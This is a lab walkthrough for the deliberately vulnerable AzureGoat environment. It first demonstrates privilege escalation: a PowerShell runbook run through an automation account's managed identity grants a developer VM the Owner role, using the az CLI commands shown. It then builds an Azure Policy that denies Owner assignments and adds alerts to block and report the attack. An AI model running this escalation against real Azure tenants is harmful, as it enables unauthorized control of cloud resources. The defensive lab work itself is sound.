Privilege escalation refers to a situation where an attacker or malicious user gains access to more resources or higher levels of privileges than they are supposed to have. This can happen in a number of ways, such as exploiting a vulnerability in a system or application, stealing or guessing a user's credentials, or using social engineering techniques.
Azure Policy helps to enforce organizational standards and to assess compliance at scale. Through its compliance dashboard, it provides an aggregated view to evaluate the overall state of the environment, with the ability to drill down to the per-resource, per-policy granularity. It also helps bring your resources to compliance through bulk remediation for existing resources and automatic remediation for new ones.
Common use cases for Azure Policy include implementing governance for resource consistency, regulatory compliance, security, cost, and management. Policy definitions for these common use cases are already available in your Azure environment as built-ins to help you get started.
Azure Policy evaluates resources and actions in Azure by comparing the properties of those resources to rules. These rules, described in JSON format, are known as policy definitions. Several rules can be grouped together to simplify management to form a policy initiative (sometimes called a policySet). Once your rules have been created, the policy definition or initiative is assigned to any scope of resources Azure supports, such as management groups, subscriptions, resource groups, or individual resources. The assignment applies to all resources within the Resource Manager scope of that assignment. Subscopes can be excluded if necessary.
Alerts help you detect and address issues before users notice them by proactively notifying you when Azure Monitor data indicates that there may be a problem with your infrastructure or application. You can alert on any metric or log data source in the Azure Monitor data platform.
Step 1: Provide written permission to justin.pem file and login to the virtual machine.
Note: From Step 1 to Step 9 we are showing the exploitation.
chmod 600 justin.pem
ssh -i justin.pem [email protected]
Step 2: Login with Identity.
Step 3: List all the resources.
az resource list
Copy the generated output into a text editor.
Step 4: Now list all the role assignments
az role assignment list -g azuregoat_app
We have the Owner and the Contributor roles. Check which resource has which roles. We will match these principal Ids with the principal ids of the step 3 output.
Step 5: Principal Id of Owner role is matched with dev-automation-account.
The principal Id of the Contributor role is matched with developer VM.
Step 6: Copy the Client Id of dev-automation-account.
Copy the principal Id of the VM.
Step 7: Let's create an exploit.ps1 file.
nano exploit.ps1
Paste the given script inside the exploit.ps1 file.
workflow Get-AzureVM
{
Disable-AzContextAutosave -Scope Process
$AzureContext = (Connect-Azaccount -Identity -AccountId <Client Id of dev-automation-account>).context
$AzureContext = Set-AzContext -SubscriptionName $AzureContext.Subscription -DefaultProfile $AzureContext
New-AzRoleAssignment -RoleDefinitionName "Owner" -ObjectId <Principal Id of VM> -resourceGroupName azuregoat_app
}
Step 8: Now, run the below commands to escalate the VM to the Owner.
az automation runbook replace-content --automation-account-name "dev-automation-account-" --resource-group <ResourceGroup Name> --name "Get-AzureVM" --content @exploit.ps1
az automation runbook publish --automation-account-name "dev-automation-account-" --resource-group <ResourceGroup Name> --name "Get-AzureVM"
az automation runbook start --automation-account-name "dev-automation-account-" --resource-group <ResourceGroup Name> --name "Get-AzureVM"
Now you will see the following output.
Step 9: Run the below command:
az role assignment list -g azuregoat_app
We got the Owner access. Now, we will see how to prevent privilege escalation with the help of policies.
Note: It takes more than 10+ minutes. Even after 10 minutes, if you see no escalation, then re-run the commands in Step 8 and wait for 5+ minutes.
Step 10: Open the Azure Portal, log in as admin and remove the assigned Owner role from the VM.
Goto azuregoat_app resource group and click on Access control(IAM).
Note: Securing Azure environment begins.
Select the developer VM from the Owner section and Click on remove, as shown in the image.
Step 11: Go back to VM and check that our VM has no Owner role.
az role assignment list -g azuregoat_app
Step 12: Come back to the portal and search for Policy in the Search field.
Step 13: Click on Definitions and click on + Policy definition.
Step 14: Definition location: Your Subscription.
Name: Owner Deny policy.
Use the below-given Policy:
{
"mode": "All",
"policyRule": {
"if": {
"allOf": [
{
"field": "type",
"equals": "Microsoft.Authorization/roleAssignments"
},
{
"field": "Microsoft.Authorization/roleAssignments/roleDefinitionId",
"contains": "8e3af657-a8ff-443c-a75c-2fe8c4bcb635"
}
]
},
"then": {
"effect": "deny"
}
},
"parameters": {}
}
Click on the Save button.
We finished writing our Policy. The above Policy will check if a role assignment is an Owner, then it will deny. In the IF condition, if allOf is true, then the IF condition is true, and it will execute THEN, then has the effect of deny. So, the assignment will fail.
The role Definition Id for the Owner is "8e3af657-a8ff-443c-a75c-2fe8c4bcb635". You can check the roleDefinitionIds from the doc: https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles
Step 15: Click on Assign so that we can assign the Policy to a specific scope then the evaluation starts to take place.
Step 16: Choose the Scope to Resource group.
Step 17: Click on Review + Create.
Step 18: Click on Create.
Step 19: Click on Compliance from Policy blade and choose scope to azuregoat_app resource group.
Step 20: Choose:
Scope: YOUR_SUBSCRIPTION/azuregoat_app
Compliance state: Non-compliant
And you will see our Policy also appears, which means one of our resources (automation run books) has owner access.
Step 21: If you open it, you will see the following:
You can see the scope, resource type and Details.
Step 22: Once again, return to the VM and run those three automation commands from step 8.
az automation runbook replace-content --automation-account-name "dev-automation-account-" --resource-group <ResourceGroup Name> --name "Get-AzureVM" --content @exploit.ps1
az automation runbook publish --automation-account-name "dev-automation-account-" --resource-group <ResourceGroup Name> --name "Get-AzureVM"
az automation runbook start --automation-account-name "dev-automation-account-" --resource-group <ResourceGroup Name> --name "Get-AzureVM"
It is started; this time, we will also check the Monitor.
Step 23: Open the Azure portal and search for Monitor.
Step 24: Click on Activity Log and you will see automation is started.
After, sometime we see the role assignment is failed. Action Deny was applied to it.
Step 25: Go back to VM, run the role list command, and check the list.
az role assignment list -g <RG>
You will notice that Privilege escalation is failed.
This time will see how to create Alerts as well.
Step 26: Go back to the portal, click on Alerts, and then click on Alerts Rules.
Step 27: Click on + Create.
Step 28: Click on + Select Scope.
Step 29: Choose ALL on filter type and choose azuregoat_app resource group.
Step 30: Click on Condition.
Click on Add condition,
Monitor service: Activity Log - Policy,
Signal name: deny.
Step 31: Go to the Actions tab.
Let's Create an Action group.
In the Basic tab, fill the following and go to the Notification tab.
In the Notification tab:
Notification type: Email/SMS message,
Check Email and give your email id.
Yes for the common alert schema.
Once done, click on Review + Create.
Click on the Create button.
Step 32: Click on Details tab.
Fill in the following and click Review + Create.
Click on the Create button.
Step 33: Open the Alert rules; after 2-3 minutes, you will see the created rules have been added.
Once the rules are added immediately, you will receive the following mail.
That's it; we successfully integrated our Alerts with our email id. If a hacker tries to escalate, the Policy will deny their query and notify us.
Step 34: Once again, run those automation commands.
az automation runbook replace-content --automation-account-name "dev-automation-account-" --resource-group <ResourceGroup Name> --name "Get-AzureVM" --content @exploit.ps1
az automation runbook publish --automation-account-name "dev-automation-account-" --resource-group <ResourceGroup Name> --name "Get-AzureVM"
az automation runbook start --automation-account-name "dev-automation-account-" --resource-group <ResourceGroup Name> --name "Get-AzureVM"
You can see logs from the Monitor, it is started.
The deny Policy has applied to it.
Step 35: Check the mail.
You received an email as well from Deny policy signal.
We have secured our Azure Environment from Privilege Escalation through Policies and Alerts.